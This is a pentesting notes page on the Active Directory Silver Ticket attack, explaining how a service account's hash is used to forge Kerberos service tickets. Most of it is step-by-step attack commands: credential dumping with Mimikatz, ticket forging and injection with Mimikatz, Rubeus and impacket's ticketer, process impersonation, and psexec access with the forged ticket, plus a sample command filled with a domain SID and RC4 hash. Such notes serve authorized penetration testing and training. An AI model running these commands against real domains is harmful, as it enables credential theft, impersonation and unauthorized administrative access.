> For the complete documentation index, see [llms.txt](https://ivalexev.gitbook.io/rednote/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ivalexev.gitbook.io/rednote/pentesting-process/active-directory/silver-ticket.md).

# Silver Ticket

We know that authorizations/permissions (group memberships) are provided by the KDC in the TGS and then checked by the SPN in question. This means that if we have the credentials/hash of the SPN (kerberoasting, NTLM account, etc.), we can create a Silver Ticket with any privilege.

There is an optional authentication, rarely implemented for service applications, called PAC ([Privileged Account Certificate](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-apds/1d1f2b0c-8e8a-4d2a-8665-508d04976f84)) validation, which consists of a check that the service does with the domain controller of the permissions and authorizations.

In general, we need to collect the following three pieces of information to create a silver ticket:

* SPN password hash
* Domain SID
* Target SPN

## Attack

{% tabs %}
{% tab title="Locally" %}

### [Mimikatz](https://github.com/gentilkiwi/mimikatz)

If you have administrator privileges you can get the NTLM hashes of the services with `sekurlsa::logonpasswords`. Otherwise use other techniques.

Forge Silver Ticket

{% code overflow="wrap" %}

```powershell
.\mimikatz.exe
kerberos::golden /sid:<SID_DOMAIN> /domain:<DOMAIN> /ptt /target:<TARGET> /service:<NAME_SPN> /rc4:<NTLM_SPN> /id:<FOR_RID> /user:<FOR_USER>
```

{% endcode %}

<table data-header-hidden><thead><tr><th width="177"></th><th></th></tr></thead><tbody><tr><td><code>/ptt</code></td><td>Inject the forged ticket to memory to make it usable immediately</td></tr><tr><td><code>/sid</code></td><td>Domain SID (<code>whoami /user</code> without RID)</td></tr><tr><td><code>/domain</code></td><td>Domain in FQDN</td></tr><tr><td><code>/target</code></td><td>Machine that hosting the attacked service in FQDN</td></tr><tr><td><code>/service</code></td><td><a href="#spn-service">SPN service ticket</a></td></tr><tr><td><code>/rc4</code></td><td>NTLM hash of the service for encryption.<br><em>There is also <code>/ntlm</code>,<code>/aes128</code> or <code>/aes256</code></em></td></tr><tr><td><code>/id</code></td><td>For which RID to forge the ticket</td></tr><tr><td><code>/user</code></td><td>For which user to forge the ticket <em>(can be fake)</em></td></tr></tbody></table>

{% code overflow="wrap" %}

```powershell
kerberos::golden /sid:S-1-5-21-4172452648-1021989953-2368502130-1105 /domain:offense.local /ptt /id:1155 /target:web04.offense.local /service:http /rc4:a87f3a337d73085c45f9416be5787d86 /user:beningnadmin
```

{% endcode %}

{% code overflow="wrap" %}

```powershell
iwr -UseDefaultCredentials http://web04
```

{% endcode %}

### [Rubeus](https://github.com/GhostPack/Rubeus)

**In Current Process**

{% code overflow="wrap" %}

```powershell
Rubeus.exe silver /service:<NAME_SPN>/<TARGET> /rc4:<NTLM_SPN> /user:<FOR_USER> /domain:<DOMAIN> /sid:<SID_DOMAIN> /nowrap /ptt
```

{% endcode %}

*For arguments see mimikatz above.*

**In New Process**

Create Ticket

{% code overflow="wrap" %}

```powershell
Rubeus.exe silver /service:<NAME_SPN>/<TARGET> /rc4:<NTLM_SPN> /user:<FOR_USER> /domain:<DOMAIN> /sid:<SID_DOMAIN> /nowrap
# Take note ticket
```

{% endcode %}

Create Process

{% code overflow="wrap" %}

```powershell
Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:<DOMAIN> /username:<USER> /password:<PASS>
# Take note of the LUID and PID
# Username and password can be anything
```

{% endcode %}

Inject Ticket

{% code overflow="wrap" %}

```powershell
Rubeus.exe ptt /luid:<LUID> /ticket:<TICKET>
```

{% endcode %}

Impersonate Process with [Invoke-SharpImpersonation](https://github.com/S3cur3Th1sSh1t/PowerSharpPack/blob/master/PowerSharpBinaries/Invoke-SharpImpersonation.ps1).

{% code overflow="wrap" %}

```powershell
Invoke-SharpImpersonation -Command "pid:<PID>"
```

{% endcode %}
{% endtab %}

{% tab title="Remotely" %}
[impacket-ticketer](https://github.com/fortra/impacket/blob/master/examples/ticketer.py)&#x20;

{% code overflow="wrap" %}

```bash
ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SERVICE>/<TARGET> -user <USER> <TARGET>
```

{% endcode %}

*For arguments see mimikatz in Locally.*

Export the ticket and use it

{% code overflow="wrap" %}

```bash
chmod 600 <TICKET_NAME>.ccache
export KRB5CCNAME=<TICKET_NAME>.ccache
```

{% endcode %}

{% code overflow="wrap" %}

```bash
python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass
curl -v --negotiate -u : http://<TARGET>
```

{% endcode %}

Remember to add IP of the target to `/etc/hosts`
{% endtab %}
{% endtabs %}

## SPN service

<table><thead><tr><th width="317">Service Type</th><th>Service Silver Tickets</th></tr></thead><tbody><tr><td>WMI</td><td><p>HOST</p><p>RPCSS</p></td></tr><tr><td>PowerShell Remoting</td><td><p>HOST</p><p>HTTP</p><p>Depending on OS also:</p><p>WSMAN</p><p>RPCSS</p></td></tr><tr><td>WinRM</td><td><p>HOST</p><p>HTTP</p><p>In some occasions you can just ask for: WINRM</p></td></tr><tr><td>Scheduled Tasks</td><td>HOST</td></tr><tr><td>Windows File Share, also psexec</td><td>CIFS</td></tr><tr><td>LDAP operations, included DCSync</td><td>LDAP</td></tr><tr><td>Windows Remote Server Administration Tools</td><td><p>RPCSS</p><p>LDAP</p><p>CIFS</p></td></tr><tr><td>Golden Tickets</td><td>krbtgt</td></tr></tbody></table>